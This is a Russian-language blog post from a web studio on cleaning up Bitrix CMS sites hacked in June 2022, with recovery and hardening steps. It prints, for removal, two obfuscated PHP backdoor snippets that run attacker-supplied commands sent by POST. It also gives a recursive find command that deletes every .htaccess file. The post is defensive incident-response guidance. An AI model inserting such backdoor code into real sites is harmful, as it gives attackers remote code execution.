Лечение сайта Bitrix после взлома в июне 2022?
Администратор
29.06.2022
  • F.Studio
  • /
  • Лечение сайта Bitrix после взлома в июне 2022?

В конце июня 2022 года множество сайтов Bitrix столкнулось в многочисленными заражениями и взломами со стороны Украины. Вот так стали выглядеть сайты компаний:

Взломанный сайт

Надо отдать должное, 1С-Битрикс закрыл все известные уязвимости еще в мае и разослал информационные письма. Так что взлому подвержены только сайты на старых версиях CMS.

Письмо с предупреждением от Битрикса

 

Одним из наиболее описанных и разобранных решений является обновление платформы после восстановления с резервной копии. Но что же делать, если нет возможности обновиться (например, из-за невозможности перехода на PHP 8+) или нет резервной копии?

Восстановление

Во-первых, перезагрузите сервер, если у вас VPS — это поможет убить все запущенные процессы.

Во-вторых, удалите все .htaccess, предварительно сохранив копии файла в корне сайта. Как правило там есть лишнее, но основная часть может сохраниться. Далее нужно подключиться к серверу по SSH и удалить все файлы. Делаем это 2мя командами:

find . -type f -name ‘*.htaccess*’

find . -type f -name ‘*.htaccess*’ -delete

Первая команда найдет все файлы. Можно будет оценить масштаб проблемы. Также эту команду можно использовать для проверки эффективности удаления или наличия заражения — все в Ваших руках.

Защита

Теперь же перейдем к защите. Самое главное — сделать все по порядку и не пропускать шаги!

  1. Из файла «/bitrix/modules/main/bx_root.php» удалить строчки:
  2. 
    if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
    parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
    
    
  3. Из файла «/bitrix/modules/main/include/prolog_after.php» удалить строчки:
  4. define("BX_CONTROLLER_CLIENT_X", base64_decode("QlhfVE9LRU4="));
    if(isset($_POST[BX_CONTROLLER_CLIENT_X]) && !empty($_POST[BX_CONTROLLER_CLIENT_X])){
    $APPLICATION->RestartBuffer();
    CControllerClient::RunCommand(hex2bin(str_rot13($_POST[BX_CONTROLLER_CLIENT_X])), 0, 0);
    die();
    }
    
  5. Удалить файл «/bitrix/tools/spread.php».
  6. Попробуйте закрыть на уровне сервера прямой доступ к файлам:
  • /bitrix/tools/upload.php
  • /bitrix/tools/mail_entry.php
  • /bittix/main/include/virtual_file_system.php
  • /bitrix/components/bitrix/sender.mail.editor/ajax.php
  • /bitrix/tools/vote/uf.php
  • /bitrix/tools/html_editor_action.php
  • /bitrix/admin/site_checker.php